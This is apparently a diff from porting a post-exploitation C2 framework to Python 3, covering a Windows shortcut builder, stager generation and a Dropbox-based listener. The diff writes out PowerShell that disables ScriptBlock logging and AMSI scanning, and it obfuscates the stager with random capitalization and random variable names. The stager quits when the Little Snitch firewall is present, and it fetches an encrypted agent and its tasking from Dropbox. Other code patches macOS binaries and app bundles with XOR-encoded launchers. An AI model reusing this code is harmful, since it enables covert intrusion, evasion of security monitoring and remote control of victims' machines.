441 if short_name_is_unicode:
442 write_cunicode(self.short_name, out)
443 else:
444 write_cstring(self.short_name, out, padding=True)
445 indicator = 24 + 2 * len(self.short_name)
446 write_short(indicator, out)
447 write_short(0x03, out)
448 write_short(0x04, out)
449 write_short(0xBeef, out)
450 write_dos_datetime(self.created, out)
451 write_dos_datetime(self.accessed, out)
452 offset_unicode = 0x14 # fixed data structure, always the same
453 write_short(offset_unicode, out)
454 offset_ansi = 0 # we always write unicode
455 write_short(offset_ansi, out)
456 write_cunicode(self.full_name, out)
457 offset_part2 = 0x0E + short_name_len
458 write_short(offset_part2, out)
459 return out.getvalue()
460 bytes = property(bytes)
461
462 def __str__(self):
463 return "<PathSegmentEntry: %s>" % self.full_name
464
465
466 class LinkTargetIDList(object):
467
468 def __init__(self, bytes=None):
469 self.items = []
470 if bytes is not None:
471 buf = StringIO(bytes)
472 raw = []
473 entry_len = read_short(buf)
474 while entry_len > 0:
475 raw.append(buf.read(entry_len - 2)) # the length includes the size
476 entry_len = read_short(buf)
477 self._interpret(raw)
478
479 def _interpret(self, raw):
480 if len(raw[0]) == 0x12:
481 self.items.append(RootEntry(raw[0]))
482 if self.items[0].root == ROOT_MY_COMPUTER:
483 if not len(raw[1]) == 0x17:
484 raise ValueError("This seems to be an absolute link which requires a drive as second element.")
485 self.items.append(DriveEntry(raw[1]))
486 items = raw[2:]
487 elif self.items[0].root == ROOT_NETWORK_PLACES:
488 raise NotImplementedError("""Parsing network lnks has not yet been implemented.
489 If you need it just contact me and we'll see...""")
490 else:
491 items = raw[1:]
492 else:
493 items = raw
494 for item in items:
495 self.items.append(PathSegmentEntry(item))
496
497 def _validate(self):
498 if type(self.items[0]) == RootEntry:
499 if self.items[0].root == ROOT_MY_COMPUTER \
500 and type(self.items[1]) != DriveEntry:
501 raise ValueError("A drive is required for absolute lnks")
502
503 def bytes(self):
504 self._validate()
505 out = StringIO()
506 for item in self.items:
507 bytes = item.bytes
508 write_short(len(bytes) + 2, out) # len + terminator
509 out.write(bytes)
510 out.write('\x00\x00')
511 return out.getvalue()
512 bytes = property(bytes)
513
514 def __str__(self):
515 return "<LinkTargetIDList:\n%s>" % pformat([str(item) for item in self.items])
516
517
518 class LinkInfo(object):
519
520 def __init__(self, lnk=None):
521 if lnk is not None:
522 self.start = lnk.tell()
523 self.size = read_int(lnk)
524 self.header_size = read_int(lnk)
525 link_info_flags = read_int(lnk)
526 self.local = link_info_flags & 1
527 self.remote = link_info_flags & 2
528 self.offs_local_volume_table = read_int(lnk)
529 self.offs_local_base_path = read_int(lnk)
530 self.offs_network_volume_table = read_int(lnk)
531 self.offs_base_name = read_int(lnk)
532 if self.header_size >= _LINK_INFO_HEADER_OPTIONAL:
533 print("TODO: read the unicode stuff") # TODO: read the unicode stuff
534 self._parse_path_elements(lnk)
535 else:
536 self.size = None
537 self.header_size = _LINK_INFO_HEADER_DEFAULT
538 self.remote = None
539 self.offs_local_volume_table = 0
540 self.offs_local_base_path = 0
541 self.offs_network_volume_table = 0
542 self.offs_base_name = 0
543 self.drive_type = None
544 self.drive_serial = None
545 self.volume_label = None
546 self.local_base_path = None
547 self.network_share_name = None
548 self.base_name = None
549 self._path = None
550
551
552 class Lnk(object):
553
554 def __init__(self, f=None):
555 self.file = None
556 if type(f) == str or type(f) == str:
557 self.file = f
558 try:
559 f = open(self.file, 'rb')
560 except IOError:
561 self.file += ".lnk"
562 f = open(self.file, 'rb')
563 # defaults
564 self.link_flags = Flags(_LINK_FLAGS)
565 self.file_flags = Flags(_FILE_ATTRIBUTES_FLAGS)
566 self.creation_time = datetime.now()
567 self.access_time = datetime.now()
568 self.modification_time = datetime.now()
569 self.file_size = 0
570 self.icon_index = 0
571 self._show_command = WINDOW_NORMAL
572 self.hot_key = None
573 self._link_info = LinkInfo()
574 self.description = None
575 self.relative_path = None
576 self.work_dir = None
577 self.arguments = None
578 self.icon = None
579
580 def _write_hot_key(self, hot_key, lnk):
581 if hot_key is None:
582 low = high = 0
583 else:
584 hot_key = hot_key.split('+')
585 try:
586 low = _KEY_CODES[hot_key[-1]]
587 except KeyError:
588 raise InvalidKeyException("Cannot find key code for %s" % hot_key[1])
589 modifiers = ModifierKeys()
590 for modifier in hot_key[:-1]:
591 modifiers[modifier.upper()] = True
592 high = modifiers.bytes
593 write_byte(low, lnk)
594 write_byte(high, lnk)
595
596 def save(self, f=None, force_ext=False):
597 if f is None:
598 f = self.file
599 if f is None:
600 raise ValueError("File (name) missing for saveing the lnk")
601 is_file = hasattr(f, 'write')
602 if not is_file:
603 if not type(f) == str and not type(f) == str:
604 raise ValueError("Need a writeable object or a file name to save to, got %s" % f)
605 if force_ext:
606 if not f.lower().endswith('.lnk'):
607 f += '.lnk'
608 f = open(f, 'wb')
609 self.write(f)
610 # only close the stream if it's our own
611 if not is_file:
612 f.close()
613
614 def ret(self):
615 ret = _SIGNATURE
616 ret += _GUID
617 ret += pack('<I',self.link_flags.bytes)
618 ret += pack('<I',self.file_flags.bytes)
619 ret += pack('<Q',convert_time_to_windows(self.creation_time))
620 ret += pack('<Q',convert_time_to_windows(self.access_time))
621 ret += pack('<Q',convert_time_to_windows(self.modification_time))
622 ret += pack('<I',self.file_size)
623 ret += pack('<I',self.icon_index)
624 ret += pack('<I',_SHOW_COMMAND_IDS[self._show_command])
625 ret += pack('<B',0) #hotkey
626 ret += pack('<B',0) #hotkey
627 ret += ('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') # reserved
628
629 if self.link_flags.has_shell_item_id_list:
630 siil = self.shell_item_id_list.bytes
631 ret += pack('<H',len(siil))
632 ret += siil
633 # TOFIX / TOINVESTIGATE
634 #if self.link_flags.has_link_info:
635 #self._link_info.write(lnk)
636 if self.link_flags.has_description:
637 ret += ret_sized_string(self.description, self.link_flags.is_unicode)
638 if self.link_flags.has_relative_path:
639 ret += ret_sized_string(self.relative_path, self.link_flags.is_unicode)
640 if self.link_flags.has_work_directory:
641 ret += ret_sized_string(self.work_dir, self.link_flags.is_unicode)
642 if self.link_flags.has_arguments:
643 ret += ret_sized_string(self.arguments, self.link_flags.is_unicode)
644 if self.link_flags.has_icon:
645 ret += ret_sized_string(self.icon, self.link_flags.is_unicode)
646
647 ret += ('\x00\x00\x00\x00') # header_size
648 return ret
649
650 def write(self, lnk):
651 lnk.write(_SIGNATURE)
652 lnk.write(_GUID)
653 write_int(self.link_flags.bytes, lnk)
654 write_int(self.file_flags.bytes, lnk)
655 write_double(convert_time_to_windows(self.creation_time), lnk)
656 write_double(convert_time_to_windows(self.access_time), lnk)
657 write_double(convert_time_to_windows(self.modification_time), lnk)
658 write_int(self.file_size, lnk)
659 write_int(self.icon_index, lnk)
660 write_int(_SHOW_COMMAND_IDS[self._show_command], lnk)
661 self._write_hot_key(self.hot_key, lnk)
662 lnk.write('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') # reserved
663 if self.link_flags.has_shell_item_id_list:
664 siil = self.shell_item_id_list.bytes
665 write_short(len(siil), lnk)
666 lnk.write(siil)
667 if self.link_flags.has_link_info:
668 self._link_info.write(lnk)
669 if self.link_flags.has_description:
670 write_sized_string(self.description, lnk, self.link_flags.is_unicode)
671 if self.link_flags.has_relative_path:
672 write_sized_string(self.relative_path, lnk, self.link_flags.is_unicode)
673 if self.link_flags.has_work_directory:
674 write_sized_string(self.work_dir, lnk, self.link_flags.is_unicode)
675 if self.link_flags.has_arguments:
676 write_sized_string(self.arguments, lnk, self.link_flags.is_unicode)
677 if self.link_flags.has_icon:
678 write_sized_string(self.icon, lnk, self.link_flags.is_unicode)
679 lnk.write('\x00\x00\x00\x00') # header_size
680
681 def _get_shell_item_id_list(self):
682 return self._shell_item_id_list
683
684 def _set_shell_item_id_list(self, shell_item_id_list):
685 self._shell_item_id_list = shell_item_id_list
686 self.link_flags.has_shell_item_id_list = shell_item_id_list != None
687 shell_item_id_list = property(_get_shell_item_id_list, _set_shell_item_id_list)
688
689 def _get_link_info(self):
690 return self._link_info
691
692 def _set_link_info(self, link_info):
693 self._link_info = link_info
694 self.link_flags.force_no_link_info = link_info == None
695 self.link_flags.has_link_info = link_info != None
696 link_info = property(_get_link_info, _set_link_info)
697
698 def _get_description(self):
699 return self._description
700
701 def _set_description(self, description):
702 self._description = description
703 self.link_flags.has_description = description != None
704 description = property(_get_description, _set_description)
705
706 def _get_relative_path(self):
707 return self._relative_path
708 def _set_relative_path(self, relative_path):
709 self._relative_path = relative_path
710 self.link_flags.has_relative_path = relative_path != None
711 relative_path = property(_get_relative_path, _set_relative_path)
712
713 def _get_work_dir(self):
714 return self._work_dir
715 def _set_work_dir(self, work_dir):
716 self._work_dir = work_dir
717 self.link_flags.has_work_directory = work_dir != None
718 work_dir = working_dir = property(_get_work_dir, _set_work_dir)
719
720 def _get_arguments(self):
721 return self._arguments
722 def _set_arguments(self, arguments):
723 self._arguments = arguments
724 self.link_flags.has_arguments = arguments != None
725 arguments = property(_get_arguments, _set_arguments)
726
727 def _get_icon(self):
728 return self._icon
729 def _set_icon(self, icon):
730 self._icon = icon
731 self.link_flags.has_icon = icon != None
732 icon = property(_get_icon, _set_icon)
733
734 def _get_window_mode(self):
735 return self._show_command
736 def _set_window_mode(self, value):
737 if not value in list(_SHOW_COMMANDS.values()):
738 raise ValueError("Not a valid window mode: %s. Choose any of pylnk.WINDOW_*" % value)
739 self._show_command = value
740 window_mode = show_command = property(_get_window_mode, _set_window_mode)
741
742 def _get_path(self):
743 return self._shell_item_id_list.get_path()
744 path = property(_get_path)
745
746 def __str__(self):
747 s = "Target file:\n"
748 s += str(self.file_flags)
749 s += "\nCreation Time: %s" % self.creation_time
750 s += "\nModification Time: %s" % self.modification_time
751 s += "\nAccess Time: %s" % self.access_time
752 s += "\nFile size: %s" % self.file_size
753 s += "\nWindow mode: %s" % self._show_command
754 s += "\nHotkey: %s\n" % self.hot_key
755 s += str(self._link_info)
756 if self.link_flags.has_shell_item_id_list:
757 s += "\n%s" % self.shell_item_id_list
758 if self.link_flags.has_description:
759 s += "\nDescription: %s" % self.description
760 if self.link_flags.has_relative_path:
761 s += "\nRelative Path: %s" % self.relative_path
762 if self.link_flags.has_work_directory:
763 s += "\nWorking Directory: %s" % self.work_dir
764 if self.link_flags.has_arguments:
765 s += "\nCommandline Arguments: %s" % self.arguments
766 if self.link_flags.has_icon:
767 s += "\nIcon: %s" % self.icon
768 s += "\nUsed Path: %s" % self.shell_item_id_list.get_path()
769 return s
770
771 #---- convenience functions
772
773 def create(f=None):
774 lnk = Lnk()
775 lnk.file = f
776 return lnk
777
778 def for_file(target_file, arguments, lnkname, lnkicon=None, description=None):
779 drive, full_path = target_file.split(':',1)
780 full_path = full_path.lstrip('\\')
781 lnk = create()
782 lnk.link_info = None
783 level = full_path
784 elements = [RootEntry(ROOT_MY_COMPUTER),
785 DriveEntry(drive)]
786 segment = PathSegmentEntry.create_for_path(level)
787 elements.append(segment)
788 lnk.shell_item_id_list = LinkTargetIDList()
789 lnk.shell_item_id_list.items = elements
790 lnk.description = description
791 lnk.arguments = arguments
792 lnk.icon = lnkicon
793 #if lnkname:
794 # lnk.save()
795 return lnk
+30
-25
lib/common/stagers.py less more
1212 generate_dylib() - generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application
1313
1414 """
15
15 from __future__ import print_function
16 from __future__ import absolute_import
17 from __future__ import division
18
19 from builtins import chr
20 from builtins import zip
21 from builtins import str
22 from builtins import object
23 from past.utils import old_div
1624 import fnmatch
1725 import imp
18 import helpers
26 from . import helpers
1927 import errno
2028 import os
2129 import errno
2331 import shutil
2432 import zipfile
2533 import subprocess
26 from itertools import izip, cycle
27 from ShellcodeRDI import *
34 from itertools import cycle
35 from .ShellcodeRDI import *
2836 import base64
2937
3038
31 class Stagers:
39 class Stagers(object):
3240
3341 def __init__(self, MainMenu, args):
3442
5058 rootPath = "%s/lib/stagers/" % (self.mainMenu.installPath)
5159 pattern = '*.py'
5260
53 print helpers.color("[*] Loading stagers from: %s" % (rootPath))
61 print(helpers.color("[*] Loading stagers from: %s" % (rootPath)))
5462
5563 for root, dirs, files in os.walk(rootPath):
5664 for filename in fnmatch.filter(files, pattern):
7280 Sets an option for all stagers.
7381 """
7482
75 for name, stager in self.stagers.iteritems():
76 for stagerOption,stagerValue in stager.options.iteritems():
83 for name, stager in self.stagers.items():
84 for stagerOption,stagerValue in stager.options.items():
7785 if stagerOption == option:
7886 stager.options[option]['Value'] = str(value)
7987
8694 return stager
8795
8896
89 def generate_launcher(self, listenerName, language=None, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'):
97 def generate_launcher(self, listenerName, language=None, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true', scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
9098 """
9199 Abstracted functionality that invokes the generate_launcher() method for a given listener,
92100 if it exists.
93101 """
94
95102 if not listenerName in self.mainMenu.listeners.activeListeners:
96 print helpers.color("[!] Invalid listener: %s" % (listenerName))
103 print(helpers.color("[!] Invalid listener: %s" % (listenerName)))
97104 return ''
98105
99106 activeListener = self.mainMenu.listeners.activeListeners[listenerName]
100
101 launcherCode = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_launcher(encode=encode, obfuscate=obfuscate, obfuscationCommand=obfuscationCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, language=language, listenerName=listenerName, safeChecks=safeChecks)
102
107 launcherCode = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_launcher(encode=encode, obfuscate=obfuscate, obfuscationCommand=obfuscationCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, language=language, listenerName=listenerName, safeChecks=safeChecks, scriptLogBypass=scriptLogBypass, AMSIBypass=AMSIBypass, AMSIBypass2=AMSIBypass2)
103108 if launcherCode:
104109 return launcherCode
105110
131136 return dllPatched
132137
133138 else:
134 print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch))
139 print(helpers.color("[!] Original .dll for arch %s does not exist!" % (arch)))
135140
136141 def generate_shellcode(self, poshCode, arch):
137142 """
163168 return sc
164169
165170 else:
166 print helpers.color("[!] Original .dll for arch {} does not exist!".format(arch))
171 print(helpers.color("[!] Original .dll for arch {} does not exist!".format(arch)))
167172
168173
169174
178183 macho = macholib.MachO.MachO(f.name)
179184
180185 if int(macho.headers[0].header.filetype) != MH_EXECUTE:
181 print helpers.color("[!] Macho binary template is not the correct filetype")
186 print(helpers.color("[!] Macho binary template is not the correct filetype"))
182187 return ""
183188
184189 cmds = macho.headers[0].commands
200205 if placeHolderSz and offset:
201206
202207 key = 'subF'
203 launcherCode = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(launcherCode, cycle(key)))
208 launcherCode = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(launcherCode, cycle(key)))
204209 launcherCode = base64.urlsafe_b64encode(launcherCode)
205210 launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
206211 patchedMachO = template[:offset]+launcher+template[(offset+len(launcher)):]
207212
208213 return patchedMachO
209214 else:
210 print helpers.color("[!] Unable to patch MachO binary")
215 print(helpers.color("[!] Unable to patch MachO binary"))
211216
212217
213218 def generate_dylib(self, launcherCode, arch, hijacker):
231236 macho = macholib.MachO.MachO(f.name)
232237
233238 if int(macho.headers[0].header.filetype) != MH_DYLIB:
234 print helpers.color("[!] Dylib template is not the correct filetype")
239 print(helpers.color("[!] Dylib template is not the correct filetype"))
235240 return ""
236241
237242 cmds = macho.headers[0].commands
256261
257262 return patchedDylib
258263 else:
259 print helpers.color("[!] Unable to patch dylib")
264 print(helpers.color("[!] Unable to patch dylib"))
260265
261266
262267 def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
277282 macho = macholib.MachO.MachO(f.name)
278283
279284 if int(macho.headers[0].header.filetype) != MH_EXECUTE:
280 print helpers.color("[!] Macho binary template is not the correct filetype")
285 print(helpers.color("[!] Macho binary template is not the correct filetype"))
281286 return ""
282287
283288 cmds = macho.headers[0].commands
317322 t.close()
318323
319324 os.rename(tmpdir + "Contents/MacOS/launcher",tmpdir + "Contents/MacOS/%s" % AppName)
320 os.chmod(tmpdir+"Contents/MacOS/%s" % AppName, 0755)
325 os.chmod(tmpdir+"Contents/MacOS/%s" % AppName, 0o755)
321326
322327 if icon != '':
323328 iconfile = os.path.splitext(icon)[0].split('/')[-1]
398403
399404
400405 else:
401 print helpers.color("[!] Unable to patch application")
406 print(helpers.color("[!] Unable to patch application"))
402407
403408 def generate_pkg(self, launcher, bundleZip, AppName):
404409
429434 os.system("chmod +x expand/Scripts")
430435 numFiles = subprocess.check_output("find root | wc -l",shell=True).strip('\n')
431436 size = subprocess.check_output("du -b -s root",shell=True).split('\t')[0]
432 size = int(size) / 1024
437 size = old_div(int(size), 1024)
433438 p = open('expand/PackageInfo','w+')
434439 pkginfo = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
435440 <pkg-info overwrite-permissions="true" relocatable="false" identifier="com.apple.APPNAME" postinstall-action="none" version="1.0" format-version="2" generator-version="InstallCmds-554 (15G31)" install-location="/" auth="root">
+1
-0
lib/common/templating.py less more
00 """ Provides helper methods for templating.
11 This is useful for generating stagers """
22
3 from builtins import object
34 import jinja2
45
56 class TemplateEngine(object):
+66
-84
lib/listeners/dbx.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14 import random
25 import os
1821 from lib.common import obfuscation
1922
2023
21 class Listener:
24 class Listener(object):
2225
2326 def __init__(self, mainMenu, params=[]):
2427
152155
153156 for key in self.options:
154157 if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
155 print helpers.color("[!] Option \"%s\" is required." % (key))
158 print(helpers.color("[!] Option \"%s\" is required." % (key)))
156159 return False
157160
158161 return True
159162
160163
161 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
164 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
162165 """
163166 Generate a basic launcher for the specified listener.
164167 """
165168
166169 if not language:
167 print helpers.color('[!] listeners/dbx generate_launcher(): no language specified!')
170 print(helpers.color('[!] listeners/dbx generate_launcher(): no language specified!'))
168171
169172 if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
170173
189192 stager = '$ErrorActionPreference = \"SilentlyContinue\";'
190193 if safeChecks.lower() == 'true':
191194 stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
192
193195 # ScriptBlock Logging bypass
194 stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
195 stager += "'System.Management.Automation.Utils'"
196 stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
197 stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
198 stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
199 stager += "['ScriptB'+'lockLogging']"
200 stager += helpers.randomize_capitalization("){$GPC")
201 stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
202 stager += helpers.randomize_capitalization("$GPC")
203 stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
204 stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
205 stager += "('EnableScriptB'+'lockLogging',0);"
206 stager += helpers.randomize_capitalization("$val.Add")
207 stager += "('EnableScriptBlockInvocationLogging',0);"
208 stager += helpers.randomize_capitalization("$GPC")
209 stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
210 stager += helpers.randomize_capitalization("=$val}")
211 stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
212 stager += "'signatures','N'+'onPublic,Static'"
213 stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
214
196 if scriptLogBypass:
197 stager += bypasses.scriptBlockLogBypass()
215198 # @mattifestation's AMSI bypass
216 stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
217 stager += "'System.Management.Automation.AmsiUtils'"
218 stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
219 stager += "'amsiInitFailed','NonPublic,Static'"
220 stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
199 if AMSIBypass:
200 stager += bypasses.AMSIBypass()
201 # rastamouse AMSI bypass
202 if AMSIBypass2:
203 stager += bypasses.AMSIBypass2()
221204 stager += "};"
222205 stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
223206
224 stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
207 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+"=New-Object System.Net.WebClient;")
225208
226209 if userAgent.lower() == 'default':
227210 profile = listenerOptions['DefaultProfile']['Value']
231214 if userAgent.lower() != 'none' or proxy.lower() != 'none':
232215
233216 if userAgent.lower() != 'none':
234 stager += helpers.randomize_capitalization('$wc.Headers.Add(')
217 stager += helpers.randomize_capitalization('$'+helpers.generate_random_script_var_name("wc")+'.Headers.Add(')
235218 stager += "'User-Agent',$u);"
236219
237220 if proxy.lower() != 'none':
238221 if proxy.lower() == 'default':
239 stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
222 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
240223 else:
241224 # TODO: implement form for other proxy
242225 stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
243226 stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
244 stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
227 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy = $proxy;")
245228 if proxyCreds.lower() == "default":
246 stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
229 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
247230 else:
248231 # TODO: implement form for other proxy credentials
249232 username = proxyCreds.split(':')[0]
251234 domain = username.split('\\')[0]
252235 usr = username.split('\\')[1]
253236 stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
254 stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
237 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy.Credentials = $netcred;")
255238
256239 #save the proxy settings to use during the entire staging process and the agent
257 stager += "$Script:Proxy = $wc.Proxy;"
240 stager += "$Script:Proxy = $"+helpers.generate_random_script_var_name("wc")+".Proxy;"
258241
259242 # TODO: reimplement stager retries?
260243
267250
268251 # add in the Dropbox auth token and API params
269252 stager += "$t='%s';" % (apiToken)
270 stager += helpers.randomize_capitalization("$wc.Headers.Add(")
253 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(")
271254 stager += "\"Authorization\",\"Bearer $t\");"
272 stager += helpers.randomize_capitalization("$wc.Headers.Add(")
255 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(")
273256 stager += "\"Dropbox-API-Arg\",'{\"path\":\"%s/debugps\"}');" % (stagingFolder)
274257
275 stager += helpers.randomize_capitalization("$data=$WC.DownloadData('")
258 stager += helpers.randomize_capitalization("$data=$"+helpers.generate_random_script_var_name("wc")+".DownloadData('")
276259 stager += "https://content.dropboxapi.com/2/files/download');"
277260 stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
278261
297280 if safeChecks.lower() == 'true':
298281 launcherBase += "import re, subprocess;"
299282 launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
300 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
301 launcherBase += "out = ps.stdout.read()\n"
302 launcherBase += "ps.stdout.close()\n"
283 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
284 launcherBase += "out, err = ps.communicate()\n"
303285 launcherBase += "if re.search(\"Little Snitch\", out):\n"
304286 launcherBase += " sys.exit()\n"
305287 except Exception as e:
306288 p = "[!] Error setting LittleSnitch in stager: " + str(e)
307 print helpers.color(p, color='red')
289 print(helpers.color(p, color='red'))
308290
309291 if userAgent.lower() == 'default':
310292 profile = listenerOptions['DefaultProfile']['Value']
371353 return launcherBase
372354
373355 else:
374 print helpers.color("[!] listeners/dbx generate_launcher(): invalid listener name specification!")
356 print(helpers.color("[!] listeners/dbx generate_launcher(): invalid listener name specification!"))
375357
376358
377359 def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None):
380362 """
381363
382364 if not language:
383 print helpers.color('[!] listeners/dbx generate_stager(): no language specified!')
365 print(helpers.color('[!] listeners/dbx generate_stager(): no language specified!'))
384366 return None
385367
386368 pollInterval = listenerOptions['PollInterval']['Value']
459441 return stager
460442
461443 else:
462 print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
444 print(helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
463445
464446
465447 def generate_agent(self, listenerOptions, language=None):
468450 """
469451
470452 if not language:
471 print helpers.color('[!] listeners/dbx generate_agent(): no language specified!')
453 print(helpers.color('[!] listeners/dbx generate_agent(): no language specified!'))
472454 return None
473455
474456 language = language.lower()
531513
532514 return code
533515 else:
534 print helpers.color("[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
516 print(helpers.color("[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
535517
536518
537519 def generate_comms(self, listenerOptions, language=None):
559541 $script:GetTask = {
560542 try {
561543 # build the web request object
562 $wc = New-Object System.Net.WebClient
544 $"""+helpers.generate_random_script_var_name("wc")+""" = New-Object System.Net.WebClient
563545
564546 # set the proxy settings for the WC to be the default system settings
565 $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
566 $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
547 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
548 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
567549 if($Script:Proxy) {
568 $wc.Proxy = $Script:Proxy;
550 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = $Script:Proxy;
569551 }
570552
571 $wc.Headers.Add("User-Agent", $script:UserAgent)
572 $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
553 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add("User-Agent", $script:UserAgent)
554 $Script:Headers.GetEnumerator() | ForEach-Object {$"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add($_.Name, $_.Value)}
573555
574556 $TaskingsFolder = "%s"
575 $wc.Headers.Set("Authorization", "Bearer $($Script:APIToken)")
576 $wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"$TaskingsFolder/$($script:SessionID).txt`"}")
577 $Data = $wc.DownloadData("https://content.dropboxapi.com/2/files/download")
557 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Set("Authorization", "Bearer $($Script:APIToken)")
558 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Set("Dropbox-API-Arg", "{`"path`":`"$TaskingsFolder/$($script:SessionID).txt`"}")
559 $Data = $"""+helpers.generate_random_script_var_name("wc")+""".DownloadData("https://content.dropboxapi.com/2/files/download")
578560
579561 if($Data -and ($Data.Length -ne 0)) {
580562 # if there was a tasking data, remove it
581 $wc.Headers.Add("Content-Type", " application/json")
582 $wc.Headers.Remove("Dropbox-API-Arg")
583 $Null=$wc.UploadString("https://api.dropboxapi.com/2/files/delete", "POST", "{`"path`":`"$TaskingsFolder/$($script:SessionID).txt`"}")
563 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add("Content-Type", " application/json")
564 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Remove("Dropbox-API-Arg")
565 $Null=$"""+helpers.generate_random_script_var_name("wc")+""".UploadString("https://api.dropboxapi.com/2/files/delete", "POST", "{`"path`":`"$TaskingsFolder/$($script:SessionID).txt`"}")
584566 $Data
585567 }
586568 $script:MissedCheckins = 0
606588 $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5
607589
608590 # build the web request object
609 $wc = New-Object System.Net.WebClient
591 $"""+helpers.generate_random_script_var_name("wc")+""" = New-Object System.Net.WebClient
610592 # set the proxy settings for the WC to be the default system settings
611 $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
612 $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
593 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
594 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
613595 if($Script:Proxy) {
